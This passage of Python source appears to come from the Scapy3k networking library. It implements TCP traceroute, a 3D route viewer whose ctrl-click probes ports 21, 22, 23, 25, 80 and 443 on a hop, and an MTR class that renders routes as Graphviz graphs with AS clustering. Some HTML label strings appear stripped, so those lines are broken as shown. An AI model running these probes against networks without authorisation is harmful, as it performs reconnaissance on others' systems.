"Timestamp": c.append((p.time, o[1][0])) if not c: warning("No timestamps found in packet list") return # d = map(lambda (x,y): (x%2000,((x-c[0][0])-((y-c[0][1])/1000.0))),c) d = map(lambda a: (a[0] % 2000, ((a[0] - c[0][0]) - ((a[1] - c[0][1]) / 1000.0))), c) return plt.plot(d, **kargs) #PacketList.timeskew_graph = types.MethodType(_packetlist_timeskew_graph, None) # Create a new packet list class TracerouteResult(SndRcvList): def __init__(self, res=None, name="Traceroute", stats=None): PacketList.__init__(self, res, name, stats, vector_index=1) self.graphdef = None self.graphASres = 0 self.padding = 0 self.hloc = None self.nloc = None def show(self): # return self.make_table(lambda (s,r): (s.sprintf("%IP.dst%:{TCP:tcp%ir,TCP.dport%}{UDP:udp%ir,UDP.dport%}{ICMP:ICMP}"), return self.make_table(lambda s, r: (s.sprintf("%IP.dst%:{TCP:tcp%ir,TCP.dport%}{UDP:udp%ir,UDP.dport%}{ICMP:ICMP}"), s.ttl, r.sprintf("%-15s,IP.src% {TCP:%TCP.flags%}{ICMP:%ir,ICMP.type%}"))) def get_trace(self): raw_trace = {} for s, r in self.res: if IP not in s: continue d = s[IP].dst if d not in raw_trace: raw_trace[d] = {} raw_trace[d][s[IP].ttl] = r[IP].src, ICMP not in r trace = {} for k in raw_trace.keys(): m = [x for x in raw_trace[k].keys() if raw_trace[k][x][1]] if not m: trace[k] = raw_trace[k] else: m = min(m) trace[k] = {i: raw_trace[k][i] for i in raw_trace[k].keys() if not raw_trace[k][i][1] or i <= m} return trace def trace3D(self): """Give a 3D representation of the traceroute. right button: rotate the scene middle button: zoom left button: move the scene left button on a ball: toggle IP displaying ctrl-left button on a ball: scan ports 21,22,23,25,80 and 443 and display the result""" trace = self.get_trace() import visual class IPsphere(visual.sphere): def __init__(self, ip, **kargs): visual.sphere.__init__(self, **kargs) self.ip = ip self.label = None self.setlabel(self.ip) def setlabel(self, txt, visible=None): if self.label is not None: if visible is None: visible = self.label.visible self.label.visible = 0 elif visible is None: visible = 0 self.label = visual.label(text=txt, pos=self.pos, space=self.radius, xoffset=10, yoffset=20, visible=visible) def action(self): self.label.visible ^= 1 visual.scene = visual.display() visual.scene.exit = True start = visual.box() rings = {} tr3d = {} for i in trace: tr = trace[i] tr3d[i] = [] ttl = tr.keys() for t in range(1, max(ttl) + 1): if t not in rings: rings[t] = [] if t in tr: if tr[t] not in rings[t]: rings[t].append(tr[t]) tr3d[i].append(rings[t].index(tr[t])) else: rings[t].append(("unk", -1)) tr3d[i].append(len(rings[t]) - 1) for t in rings: r = rings[t] l = len(r) for i in range(l): if r[i][1] == -1: col = (0.75, 0.75, 0.75) elif r[i][1]: col = visual.color.green else: col = visual.color.blue s = IPsphere(pos=((l - 1) * visual.cos(2 * i * visual.pi / l), (l - 1) * visual.sin(2 * i * visual.pi / l), 2 * t), ip=r[i][0], color=col) for trlst in tr3d.values(): if t <= len(trlst): if trlst[t - 1] == i: trlst[t - 1] = s forecol = colgen(0.625, 0.4375, 0.25, 0.125) for trlst in tr3d.values(): col = next(forecol) start = (0, 0, 0) for ip in trlst: visual.cylinder(pos=start, axis=ip.pos - start, color=col, radius=0.2) start = ip.pos movcenter = None while 1: visual.rate(50) if visual.scene.kb.keys: k = visual.scene.kb.getkey() if k == "esc" or k == "q": break if visual.scene.mouse.events: ev = visual.scene.mouse.getevent() if ev.press == "left": o = ev.pick if o: if ev.ctrl: if o.ip == "unk": continue savcolor = o.color o.color = (1, 0, 0) a, _ = sr(IP(dst=o.ip) / TCP(dport=[21, 22, 23, 25, 80, 443]), timeout=2) o.color = savcolor if len(a) == 0: txt = "%s:\nno results" % o.ip else: txt = "%s:\n" % o.ip for s, r in a: txt += r.sprintf("{TCP:%IP.src%:%TCP.sport% %TCP.flags%}{TCPerror:%IPerror.dst%:%TCPerror.dport% %IP.src% %ir,ICMP.type%}\n") o.setlabel(txt, visible=1) else: if hasattr(o, "action"): o.action() elif ev.drag == "left": movcenter = ev.pos elif ev.drop == "left": movcenter = None if movcenter: visual.scene.center -= visual.scene.mouse.pos - movcenter movcenter = visual.scene.mouse.pos # # world_trace needs to be reimplemented as gnuplot dependency is removed # def world_trace(self): # from modules.geo import locate_ip # ips = {} # rt = {} # ports_done = {} # for s,r in self.res: # ips[r.src] = None # if s.haslayer(TCP) or s.haslayer(UDP): # trace_id = (s.src,s.dst,s.proto,s.dport) # elif s.haslayer(ICMP): # trace_id = (s.src,s.dst,s.proto,s.type) # else: # trace_id = (s.src,s.dst,s.proto,0) # trace = rt.get(trace_id,{}) # if not r.haslayer(ICMP) or r.type != 11: # if trace_id in ports_done: # continue # ports_done[trace_id] = None # trace[s.ttl] = r.src # rt[trace_id] = trace # # trt = {} # for trace_id in rt: # trace = rt[trace_id] # loctrace = [] # for i in range(max(trace.keys())): # ip = trace.get(i,None) # if ip is None: # continue # loc = locate_ip(ip) # if loc is None: # continue # # loctrace.append((ip,loc)) # no labels yet # loctrace.append(loc) # if loctrace: # trt[trace_id] = loctrace # # tr = map(lambda x: Gnuplot.Data(x,with_="lines"), trt.values()) # g = Gnuplot.Gnuplot() # world = Gnuplot.File(conf.gnuplot_world,with_="lines") # g.plot(world,*tr) # return g def make_graph(self, ASres=None, padding=0): if ASres is None: ASres = conf.AS_resolver self.graphASres = ASres self.graphpadding = padding ips = {} rt = {} ports = {} ports_done = {} for s, r in self.res: r = r.getlayer(IP) or (conf.ipv6_enabled and r[scapy.layers.inet6.IPv6]) or r s = s.getlayer(IP) or (conf.ipv6_enabled and s[scapy.layers.inet6.IPv6]) or s ips[r.src] = None if TCP in s: trace_id = (s.src, s.dst, 6, s.dport) elif UDP in s: trace_id = (s.src, s.dst, 17, s.dport) elif ICMP in s: trace_id = (s.src, s.dst, 1, s.type) else: trace_id = (s.src, s.dst, s.proto, 0) trace = rt.get(trace_id, {}) ttl = conf.ipv6_enabled and scapy.layers.inet6.IPv6 in s and s.hlim or s.ttl if not (ICMP in r and r[ICMP].type == 11) and not (conf.ipv6_enabled and scapy.layers.inet6.IPv6 in r and scapy.layers.inet6.ICMPv6TimeExceeded in r): if trace_id in ports_done: continue ports_done[trace_id] = None p = ports.get(r.src, []) if TCP in r: p.append(r.sprintf(" %TCP.sport% %TCP.flags%")) trace[ttl] = r.sprintf('"%r,src%":T%ir,TCP.sport%') elif UDP in r: p.append(r.sprintf(" %UDP.sport%")) trace[ttl] = r.sprintf('"%r,src%":U%ir,UDP.sport%') elif ICMP in r: p.append(r.sprintf(" ICMP %ICMP.type%")) trace[ttl] = r.sprintf('"%r,src%":I%ir,ICMP.type%') else: p.append(r.sprintf("{IP: IP %proto%}{IPv6: IPv6 %nh%}")) trace[ttl] = r.sprintf('"%r,src%":{IP:P%ir,proto%}{IPv6:P%ir,nh%}') ports[r.src] = p else: trace[ttl] = r.sprintf('"%r,src%"') rt[trace_id] = trace # Fill holes with unk%i nodes unknown_label = incremental_label("unk%i") blackholes = [] bhip = {} for rtk in rt: trace = rt[rtk] k = trace.keys() for n in range(min(k), max(k)): if not n in trace: trace[n] = next(unknown_label) if not rtk in ports_done: if rtk[2] == 1: # ICMP bh = "%s %i/icmp" % (rtk[1], rtk[3]) elif rtk[2] == 6: # TCP bh = "%s %i/tcp" % (rtk[1], rtk[3]) elif rtk[2] == 17: # UDP bh = '%s %i/udp' % (rtk[1], rtk[3]) else: bh = '%s %i/proto' % (rtk[1], rtk[2]) ips[bh] = None bhip[rtk[1]] = bh bh = '"%s"' % bh trace[max(k) + 1] = bh blackholes.append(bh) # Find AS numbers ASN_query_list = dict.fromkeys(map(lambda x: x.rsplit(" ", 1)[0], ips)).keys() if ASres is None: ASNlist = [] else: ASNlist = ASres.resolve(*ASN_query_list) ASNs = {} ASDs = {} for ip, asn, desc, in ASNlist: if asn is None: continue iplist = ASNs.get(asn, []) if ip in bhip: if ip in ports: iplist.append(ip) iplist.append(bhip[ip]) else: iplist.append(ip) ASNs[asn] = iplist ASDs[asn] = desc backcolorlist = colgen("60", "86", "ba", "ff") forecolorlist = colgen("a0", "70", "40", "20") s = "digraph trace {\n" s += "\n\tnode [shape=ellipse,color=black,style=solid];\n\n" s += "\n#ASN clustering\n" for asn in ASNs: s += '\tsubgraph cluster_%s {\n' % asn col = next(backcolorlist) s += '\t\tcolor="#%s%s%s";' % col s += '\t\tnode [fillcolor="#%s%s%s",style=filled];' % col s += '\t\tfontsize = 10;' s += '\t\tlabel = "%s\\n[%s]"\n' % (asn, ASDs[asn]) for ip in ASNs[asn]: s += '\t\t"%s";\n' % ip s += "\t}\n" s += "#endpoints\n" for p in ports: s += '\t"%s" [shape=record,color=black,fillcolor=green,style=filled,label="%s|%s"];\n' % (p, p, "|".join(ports[p])) s += "\n#Blackholes\n" for bh in blackholes: s += '\t%s [shape=octagon,color=black,fillcolor=red,style=filled];\n' % bh if padding: s += "\n#Padding\n" pad = {} for _, rcv in self.res: if rcv.src not in ports and rcv.haslayer(conf.padding_layer): p = rcv.getlayer(conf.padding_layer).load if p != "\x00" * len(p): pad[rcv.src] = None for rcv in pad: s += '\t"%s" [shape=triangle,color=black,fillcolor=red,style=filled];\n' % rcv s += "\n\tnode [shape=ellipse,color=black,style=solid];\n\n" for rtk in rt: s += "#---[%s\n" % repr(rtk) s += '\t\tedge [color="#%s%s%s"];\n' % next(forecolorlist) trace = rt[rtk] k = trace.keys() for n in range(min(k), max(k)): s += '\t%s ->\n' % trace[n] s += '\t%s;\n' % trace[max(k)] s += "}\n" self.graphdef = s def graph(self, ASres=None, padding=0, **kargs): """x.graph(ASres=conf.AS_resolver, other args): ASres=None : no AS resolver => no clustering ASres=AS_resolver() : default whois AS resolver (riswhois.ripe.net) ASres=AS_resolver_cymru(): use whois.cymru.com whois database ASres=AS_resolver(server="whois.ra.net") format: output type (svg, ps, gif, jpg, etc.), passed to dot's "-T" option figsize: w,h tuple in inches. See matplotlib documentation target: filename. If None uses matplotlib to display prog: which graphviz program to use""" if ASres is None: ASres = conf.AS_resolver if (self.graphdef is None or self.graphASres != ASres or self.graphpadding != padding): self.make_graph(ASres, padding) return do_graph(self.graphdef, **kargs) @conf.commands.register def traceroute(target, dport=80, minttl=1, maxttl=30, sport=RandShort(), l4=None, filter=None, timeout=2, verbose=None, **kargs): """Instant TCP traceroute traceroute(target, [maxttl=30,] [dport=80,] [sport=80,] [verbose=conf.verb]) -> None """ if verbose is None: verbose = conf.verb if filter is None: # we only consider ICMP error packets and TCP packets with at # least the ACK flag set *and* either the SYN or the RST flag # set filter = "(icmp and (icmp[0]=3 or icmp[0]=4 or icmp[0]=5 or icmp[0]=11 or icmp[0]=12)) or (tcp and (tcp[13] & 0x16 > 0x10))" if l4 is None: a, b = sr(IP(dst=target, id=RandShort(), ttl=(minttl, maxttl)) / TCP(seq=RandInt(), sport=sport, dport=dport), timeout=timeout, filter=filter, verbose=verbose, **kargs) else: # this should always work filter = "ip" a, b = sr(IP(dst=target, id=RandShort(), ttl=(minttl, maxttl)) / l4, timeout=timeout, filter=filter, verbose=verbose, **kargs) a = TracerouteResult(a.res) if verbose: a.show() return a, b ########################## # Multi-Traceroute Class # ########################## class MTR: # # Initialize Multi-Traceroute Object Vars... def __init__(self, nquery=1, target=''): self._nquery = nquery # Number or traceroute queries self._ntraces = 1 # Number of trace runs self._iface = '' # Interface to use for trace self._gw = '' # Default Gateway IPv4 Address for trace self._netprotocol = 'TCP' # MTR network protocol to use for trace self._target = target # Session targets self._exptrg = [] # Expanded Session targets self._host2ip = {} # Target Host Name to IP Address self._ip2host = {} # Target IP Address to Host Name self._tcnt = 0 # Total Trace count self._tlblid = [] # Target Trace label IDs self._res = [] # Trace Send/Receive Response Packets self._ures = [] # Trace UnResponse Sent Packets self._ips = {} # Trace Unique IPv4 Addresses self._hops = {} # Traceroute Hop Ranges self._rt = [] # Individual Route Trace Summaries self._ports = {} # Completed Targets & Ports self._portsdone = {} # Completed Traceroutes & Ports self._rtt = {} # Round Trip Times (msecs) for Trace Nodes self._unknownlabel = incremental_label('"Unk%i"') self._asres = conf.AS_resolver # Initial ASN Resolver self._asns = {} # Found AS Numbers for the MTR session self._asds = {} # Associated AS Number descriptions self._unks = {} # Unknown Hops ASN IP boundaries self._graphdef = None self._graphasres = 0 self._graphpadding = 0 # # Get the protocol name from protocol integer value. # # proto - Protocol integer value. # # Returns a string value representing the given integer protocol. def get_proto_name(self, proto): ps = str(proto) if ps == '6': pt = 'tcp' elif ps == '17': pt = 'udp' elif ps == '1': pt = 'icmp' else: pt = str(proto) return pt # # Compute Black Holes... def get_black_holes(self): for t in range(0, self._ntraces): for rtk in self._rt[t]: trace = self._rt[t][rtk] k = trace.keys() for n in range(min(k), max(k)): if not n in trace: # Fill in 'Unknown' hops trace[n] = next(self._unknownlabel) if not rtk in self._portsdone: if rtk[2] == 1: # ICMP bh = "%s %i/icmp" % (rtk[1], rtk[3]) elif rtk[2] == 6: # TCP bh = "{ip:s} {dp:d}/tcp".format(ip=rtk[1], dp=rtk[3]) elif rtk[2] == 17: # UDP bh = '%s %i/udp' % (rtk[1], rtk[3]) else: bh = '%s %i/proto' % (rtk[1], rtk[2]) self._ips[rtk[1]] = None # Add the Blackhole IP to list of unique IP Addresses # # Update trace with Blackhole info... bh = '"{bh:s}"'.format(bh=bh) trace[max(k) + 1] = bh # # Detection for Blackhole - Failed target not set as last Hop in trace... for t in range(0, self._ntraces): for rtk in self._rt[t]: trace = self._rt[t][rtk] k = trace.keys() if (' ' not in trace[max(k)]) and (':' not in trace[max(k)]): if rtk[2] == 1: # ICMP bh = "%s %i/icmp" % (rtk[1], rtk[3]) elif rtk[2] == 6: # TCP bh = "{ip:s} {dp:d}/tcp".format(ip=rtk[1], dp=rtk[3]) elif rtk[2] == 17: # UDP bh = '%s %i/udp' % (rtk[1], rtk[3]) else: bh = '%s %i/proto' % (rtk[1], rtk[2]) self._ips[rtk[1]] = None # Add the Blackhole IP to list of unique IP Addresses # # Update trace with Blackhole info... bh = '"{bh:s}"'.format(bh=bh) trace[max(k) + 1] = bh # # Compute the Hop range for each trace... def compute_hop_ranges(self): n = 1 for t in range(0, self._ntraces): for rtk in self._rt[t]: trace = self._rt[t][rtk] k = trace.keys() # # Detect Blackhole Endpoints... h = rtk[1] mt = max(k) if not ':' in trace[max(k)]: h = trace[max(k)].replace('"', '') # Add a Blackhole Endpoint (':' Char does not exist) if max(k) == 1: # # Special case: Max TTL set to 1... mt = 1 else: mt = max(k) - 1 # Blackhole - remove Hop for Blackhole -> Host never reached hoplist = self._hops.get(h, []) # Get previous hop value hoplist.append([n, min(k), mt]) # Append trace hop range for this trace self._hops[h] = hoplist # Update mtr Hop value n += 1 # # Get AS Numbers... def get_asns(self, privaddr=0): """Obtain associated AS Numbers for IPv4 Addreses. privaddr: 0 - Normal display of AS numbers, 1 - Do not show an associated AS Number bound box (cluster) on graph for a private IPv4 Address.""" ips = {} if privaddr: for k, v in self._ips.items(): if not is_private_addr(k): ips[k] = v else: ips = self._ips # # Special case for the loopback IP Address: 127.0.0.1 - Do not ASN resolve... if '127.0.0.1' in ips: del ips['127.0.0.1'] # # ASN Lookup... asnquerylist = dict.fromkeys(map(lambda x: x.rsplit(" ", 1)[0], ips)).keys() if self._asres is None: asnlist = [] else: try: asnlist = self._asres.resolve(*asnquerylist) except: pass for ip, asn, desc, in asnlist: if asn is None: continue iplist = self._asns.get(asn, []) # Get previous ASN value iplist.append(ip) # Append IP Address to previous ASN # # If ASN is a string Convert to a number: (i.e., 'AS3257' => 3257) if type(asn) == str: asn = asn.upper() asn = asn.replace('AS', '') try: asn = int(asn) self._asns[asn] = iplist self._asds[asn] = desc except: continue else: self._asns[asn] = iplist self._asds[asn] = desc # # Get the ASN for a given IP Address. # # ip - IP Address to get the ASN for. # # Return the ASN for a given IP Address if found. # A -1 is returned if not found. def get_asn_ip(self, ip): for a in self._asns: for i in self._asns[a]: if ip == i: return a return -1 # # Guess Traceroute 'Unknown (Unkn) Hops' ASNs. # # Technique: Method to guess ASNs for Traceroute 'Unknown Hops'. # If the assign ASN for the known Ancestor IP is the # same as the known Descendant IP then use this ASN # for the 'Unknown Hop'. # Special case guess: If the Descendant IP is a # Endpoint Host Target the assign it to its # associated ASN. def guess_unk_asns(self): t = 1 for q in range(0, self._ntraces): for rtk in self._rt[q]: trace = self._rt[q][rtk] tk = trace.keys() begip = endip = '' unklist = [] for n in range(min(tk), (max(tk) + 1)): if trace[n].find('Unk') == -1: # # IP Address Hop found... if len(unklist) == 0: # # No 'Unknown Hop' found yet... begip = trace[n] else: # # At least one Unknown Hop found - Store IP boundary... endip = trace[n] for u in unklist: idx = begip.find(':') if idx != -1: # Remove Endpoint Trace port info: '"162.144.22.85":T443' begip = begip[:idx] idx = endip.find(':') if idx != -1: endip = endip[:idx] # # u[0] - Unknown Hop name... # u[1] - Hop number... self._unks[u[0]] = [begip, endip, '{t:d}:{h:d}'.format(t=t, h=u[1])] # # Init var for new Unknown Hop search... begip = endip = '' unklist = [] else: # # 'Unknown Hop' found... unklist.append([trace[n], n]) t += 1 # Inc next trace count # # Assign 'Unknown Hop' ASN... for u in self._unks: bip = self._unks[u][0] bip = bip.replace('"', '') # Begin IP - Strip off surrounding double quotes (") basn = self.get_asn_ip(bip) if basn == -1: continue eip = self._unks[u][1] eip = eip.replace('"', '') easn = self.get_asn_ip(eip) if easn == -1: continue # # Append the 'Unknown Hop' to an ASN if # Ancestor/Descendant IP ASN match... if basn == easn: self._asns[basn].append(u.replace('"', '')) else: # # Special case guess: If the Descendant IP is # a Endpoint Host Target the assign it to its # associated ASN. for d in self._tlblid: if eip in d: self._asns[easn].append(u.replace('"', '')) break # Make the DOT graph... def make_dot_graph(self, ASres=None, padding=0, vspread=0.75, title="Multi-Traceroute (MTR) Probe", timestamp="", rtt=1): import datetime if ASres is None: self._asres = conf.AS_resolver self._graphasres = ASres self._graphpadding = padding # # ASN box color generator... backcolorlist = colgen("60", "86", "ba", "ff") # # Edge (trace arrows) color generator... forecolorlist = colgen("a0", "70", "40", "20") # # Begin the DOT Digraph... s = "### Scapy3k Multi-Traceroute (MTR) DOT Graph Results ({t:s}) ###\n".format(t=datetime.datetime.now().isoformat(' ')) s += "\ndigraph mtr {\n" # # Define the default graph attributes... s += '\tgraph [bgcolor=transparent,ranksep={vs:.2f}];\n'.format(vs=vspread) # # Define the default node shape and drawing color... s += '\tnode [shape="ellipse",fontname="Sans-Serif",fontsize=11,color="black",gradientangle=270,fillcolor="white:#a0a0a0",style="filled"];\n' # # Combine Trace Probe Begin Points... # # k0 k1 k2 v0 v1 k0 k1 k2 v0 v1 # Ex: bp = {('192.168.43.48',5555,''): ['T1','T3'], ('192.168.43.48',443,'https'): ['T2','T4']} bp = {} # ep -> A single services label for a given IP for d in self._tlblid: # k v0 v1 v2 v3 v4 v5 v6 v7 for k, v in d.items(): # Ex: k: '162.144.22.87' v: ('T1', '192.168.43.48', '162.144.22.87', 6, 443, 'https', 'SA', '') p = bp.get((v[1], v[4], v[5])) if p == None: bp[(v[1], v[4], v[5])] = [v[0]] # Add new (TCP Flags / ICMP / Proto) and initial trace ID else: bp[(v[1], v[4], v[5])].append(v[0]) # Append additional trace IDs # # Combine Begin Point services... # k sv0 sv1 sv0 sv1 # Ex bpip = {'192.168.43.48': [('T2|T4', 'https(443)'), ('T1|T3', '5555')]} bpip = {} # epip -> Combined Endpoint services label for a given IP for k, v in bp.items(): tr = '' for t in range(0, len(v)): if tr == '': tr += '{ts:s}'.format(ts=v[t]) else: tr += '|{ts:s}'.format(ts=v[t]) p = k[2] if p == '': # Use port number not name if resolved p = str(k[1]) else: p += '(' + str(k[1]) + ')' # Use both name and port if k[0] in bpip: bpip[k[0]].append((tr, p)) else: bpip[k[0]] = [(tr, p)] # # Create Endpoint Target Clusters... epc = {} # Endpoint Target Cluster Dictionary epip = [] # Endpoint IPs array oip = [] # Only Endpoint IP array epprb = [] # Endpoint Target and Probe the same IP array for d in self._tlblid: # Spin thru Target IDs for k, v in d.items(): # Get access to Target Endpoints h = k if v[6] == 'BH': # Add a Blackhole Endpoint Target h = '{bh:s} {bhp:d}/{bht:s}'.format(bh=k, bhp=v[4], bht=v[3]) elif v[1] == v[2]: # When the Target and host running the mtr session are epprb.append(k) # the same then append IP to list target and probe the same array epip.append(h) oip.append(k) # # Create unique arrays... uepip = set(epip) # Get a unique set of Endpoint IPs uepipo = set(oip) # Get a unique set of Only Endpoint IPs uepprb = set(epprb) # Get a unique set of Only IPs: Endpoint Target and Probe the same # # Now create unique endpoint target clusters.... for ep in uepip: # # Get Host only string... eph = ep f = ep.find(' ') if f >= 0: eph = ep[0:f] # # Build Traceroute Hop Range label... if ep in self._hops: # Is Endpoint IP in the Hops dictionary hr = self._hops[ep] elif eph in self._hops: # Is Host only endpoint in the Hops dictionary hr = self._hops[eph] else: continue # Not found in the Hops dictionary l = len(hr) if l == 1: hrs = "Hop Range (" else: hrs = "Hop Ranges (" c = 0 for r in hr: hrs += 'T{s1:d}: {s2:d} → {s3:d}'.format(s1=r[0], s2=r[1], s3=r[2]) c += 1 if c < l: hrs += ', ' hrs += ')' ecs = "\t\t### MTR Target Cluster ###\n" uep = ep.replace('.', '_') uep = uep.replace(' ', '_') uep = uep.replace('/', '_') gwl = '' if self._gw == eph: gwl = ' (Default Gateway)' ecs += '\t\tsubgraph cluster_{ep:s} {{\n'.format(ep=uep) ecs += '\t\t\ttooltip="MTR Target: {trg:s}{gwl:s}";\n'.format(trg=self._ip2host[eph], gwl=gwl) ecs += '\t\t\tcolor="darkgreen";\n' ecs += '\t\t\tfontsize=11;\n' ecs += '\t\t\tfontname="Sans-Serif";\n' ecs += '\t\t\tgradientangle=270;\n' ecs += '\t\t\tfillcolor="white:#a0a0a0";\n' ecs += '\t\t\tstyle="filled,rounded";\n' ecs += '\t\t\tpenwidth=2;\n' ecs += '\t\t\tlabel=<
Target: {h:s}{gwl:s}
{hr:s}
>;\n'.format(h=self._ip2host[eph], gwl=gwl, hr=hrs) ecs += '\t\t\tlabelloc="b";\n' pre = '' if ep in uepprb: # Special Case: Separate Endpoint Target from Probe pre = '_' # when they are the same -> Prepend an underscore char: '_' ecs += '\t\t\t"{pre:s}{ep:s}";\n'.format(pre=pre, ep=ep) ecs += "\t\t}\n" # # Store Endpoint Cluster... epc[ep] = ecs # # Create ASN Clusters (i.e. DOT subgraph and nodes) s += "\n\t### ASN Clusters ###\n" cipall = [] # Array of IPs consumed by all ASN Cluster cepipall = [] # Array of IP Endpoints (Targets) consumed by all ASN Cluster for asn in self._asns: cipcur = [] s += '\tsubgraph cluster_{asn:d} {{\n'.format(asn=asn) s += '\t\ttooltip="AS: {asn:d} - [{asnd:s}]";\n'.format(asn=asn, asnd=self._asds[asn]) col = next(backcolorlist) s += '\t\tcolor="#{s0:s}{s1:s}{s2:s}";\n'.format(s0=col[0], s1=col[1], s2=col[2]) # # Fill in ASN Cluster the associated generated color using an 11.7% alpha channel value (30/256)... s += '\t\tfillcolor="#{s0:s}{s1:s}{s2:s}30";\n'.format(s0=col[0], s1=col[1], s2=col[2]) s += '\t\tstyle="filled,rounded";\n' s += '\t\tnode [color="#{s0:s}{s1:s}{s2:s}",gradientangle=270,fillcolor="white:#{s0:s}{s1:s}{s2:s}",style="filled"];\n'.format(s0=col[0], s1=col[1], s2=col[2]) s += '\t\tfontsize=10;\n' s += '\t\tfontname="Sans-Serif";\n' s += '\t\tlabel=<
AS: {asn:d}
[{des:s}]
>;\n'.format(asn=asn, des=self._asds[asn]) s += '\t\tlabelloc="t";\n' s += '\t\tpenwidth=3;\n' for ip in self._asns[asn]: # # Only add IP if not an Endpoint Target... if not ip in uepipo: # # Spin thru all traces and only Add IP if not an ICMP Destination Unreachable node... for tr in range(0, self._ntraces): for rtk in self._rt[tr]: trace = self._rt[tr][rtk] k = trace.keys() for n in range(min(k), (max(k) + 1)): # # Check for not already added... if not ip in cipall: # # Add IP Hop - found in trace and not an ICMP Destination Unreachable node... if '"{ip:s}"'.format(ip=ip) == trace[n]: s += '\t\t"{ip:s}" [tooltip="Hop Host: {ip:s}"];\n'.format(ip=ip) cipall.append(ip) # # Special check for ICMP Destination Unreachable nodes... if ip in self._ports: for p in self._ports[ip]: if p.find('ICMP dest-unreach') >= 0: # # Check for not already added... uip = '{uip:s} 3/icmp'.format(uip=ip) if uip not in cipall: s += '\t\t"{uip:s}";\n'.format(uip=uip) cipall.append(uip) else: cipcur.append(ip) # Current list of Endpoints consumed by this ASN Cluster cepipall.append(ip) # Accumulated list of Endpoints consumed by all ASN Clusters # # Add Endpoint Cluster(s) if part of this ASN Cluster (Nested Clusters)... if len(cipcur) > 0: for ip in cipcur: for e in epc: # Loop thru each Endpoint Target Clusters h = e f = e.find(' ') # Strip off 'port/proto' if f >= 0: h = e[0:f] if h == ip: s += epc[e] s += "\t}\n" # # Add any Endpoint Target Clusters not consumed by an ASN Cluster (Stand-alone Cluster) # and not the same as the host running the mtr session... for ip in epc: h = ip f = h.find(' ') # Strip off 'port/proto' if f >= 0: h = ip[0:f] if not h in cepipall: for k, v in bpip.items(): # Check for target = host running the mtr session - Try to Add if k != h: # this Endpoint target to the Probe Target Cluster below. s += epc[ip] # Finally add the Endpoint Cluster if Stand-alone and # not running the mtr session. # # Probe Target Cluster... s += "\n\t### Probe Target Cluster ###\n" s += '\tsubgraph cluster_probe_Title {\n' p = '' for k, v in bpip.items(): p += ' {ip:s}'.format(ip=k) s += '\t\ttooltip="Multi-Traceroute (MTR) Probe: {ip:s}";\n'.format(ip=p) s += '\t\tcolor="darkorange";\n' s += '\t\tgradientangle=270;\n' s += '\t\tfillcolor="white:#a0a0a0";\n' s += '\t\tstyle="filled,rounded";\n' s += '\t\tpenwidth=3;\n' s += '\t\tfontsize=11;\n' s += '\t\tfontname="Sans-Serif";\n' # # Format Label including trace targets... tstr = '' for t in self._target: tstr += 'Target: {t:s} ('.format(t=t) # # Append resolve IP Addresses... l = len(self._host2ip[t]) c = 0 for ip in self._host2ip[t]: tstr += '{ip:s} → '.format(ip=ip) # # Append all associated Target IDs... ti = [] for d in self._tlblid: # Spin thru Target IDs for k, v in d.items(): # Get access to Target ID (v[0]) if k == ip: ti.append(v[0]) lt = len(ti) ct = 0 for i in ti: tstr += '{i:s}'.format(i=i) ct += 1 if ct < lt: tstr += ', ' c += 1 if c < l: tstr += ', ' tstr += ')' s += '\t\tlabel=<'.format(s0=title) if timestamp != "": s += ''.format(s0=timestamp) s += '{s0:s}
{s0:s}
{s0:s}
>;\n'.format(s0=tstr) s += '\t\tlabelloc="t";\n' for k, v in bpip.items(): s += '\t\t"{ip:s}";\n'.format(ip=k) # # Add in any Endpoint target that is the same as the host running the mtr session... for ip in epc: h = ip f = h.find(' ') # Strip off 'port/proto' if f >= 0: h = ip[0:f] for k, v in bpip.items(): # Check for target = host running the mtr session - Try to Add if k == h: # this Endpoint target to the Probe Target Cluster. s += epc[ip] s += "\t}\n" # # Default Gateway Cluster... s += "\n\t### Default Gateway Cluster ###\n" if self._gw != '': if self._gw in self._ips: if not self._gw in self._exptrg: s += '\tsubgraph cluster_default_gateway {\n' s += '\t\ttooltip="Default Gateway Host: {gw:s}";\n'.format(gw=self._gw) s += '\t\tcolor="goldenrod";\n' s += '\t\tgradientangle=270;\n' s += '\t\tfillcolor="white:#b8860b30";\n' s += '\t\tstyle="filled,rounded";\n' s += '\t\tpenwidth=3;\n' s += '\t\tfontsize=11;\n' s += '\t\tfontname="Sans-Serif";\n' s += '\t\tlabel=<
Default Gateway
>;\n' s += '\t\t"{gw:s}" [shape="diamond",fontname="Sans-Serif",fontsize=11,color="black",gradientangle=270,fillcolor="white:goldenrod",style="rounded,filled",tooltip="Default Gateway Host: {gw:s}"];\n'.format(gw=self._gw) s += "\t}\n" # # Build Begin Point strings... # Ex bps = '192.168.43.48" [shape="record",color="black",gradientangle=270,fillcolor="white:darkorange",style="filled",' # + 'label="192.168.43.48\nProbe|{http|{T1|T3}}|{https:{T4|T4}}"];' s += "\n\t### Probe Begin Traces ###\n" for k, v in bpip.items(): tr = '' for sv in v: if self._netprotocol == 'ICMP': if sv[1].find('ICMP') >= 0: ps = '{p:s} echo-request'.format(p=sv[1]) else: ps = 'ICMP({p:s}) echo-request'.format(p=sv[1]) else: ps = '{pr:s}: {p:s}'.format(pr=self._netprotocol, p=sv[1]) if tr == '': tr += '{{{ps:s}|{{{t:s}}}}}'.format(ps=ps, t=sv[0]) else: tr += '|{{{ps:s}|{{{t:s}}}}}'.format(ps=ps, t=sv[0]) bps1 = '\t"{ip:s}" [shape="record",color="black",gradientangle=270,fillcolor="white:darkorange",style="filled,rounded",'.format(ip=k) if self._iface != '': bps2 = 'label="Probe: {ip:s}\\nNetwork Interface: {ifc:s}|{tr:s}",tooltip="Begin Host Probe: {ip:s}"];\n'.format(ip=k, ifc=self._iface, tr=tr) else: bps2 = 'label="Probe: {ip:s}|{tr:s}",tooltip="Begin Host Probe: {ip:s}"];\n'.format(ip=k, tr=tr) s += bps1 + bps2 # s += "\n\t### Target Endpoints ###\n" # # Combine Trace Target Endpoints... # # k0 k1 k2 v0 v1 v2 k0 k1 k2 v0 v1 v2 # Ex: ep = {('162.144.22.87',80,'http'): ['SA','T1','T3'], ('10.14.22.8',443,'https'): ['SA','T2','T4']} ep = {} # ep -> A single services label for a given IP for d in self._tlblid: # k v0 v1 v2 v3 v4 v5 v6 v7 for k, v in d.items(): # Ex: k: 162.144.22.87 v: ('T1', '10.222.222.10', '162.144.22.87', 6, 443, 'https', 'SA', '') if not v[6] == 'BH': # Blackhole detection - do not create Endpoint p = ep.get((k, v[4], v[5])) if p == None: ep[(k, v[4], v[5])] = [v[6], v[0]] # Add new (TCP Flags / ICMP type / Proto) and initial trace ID else: 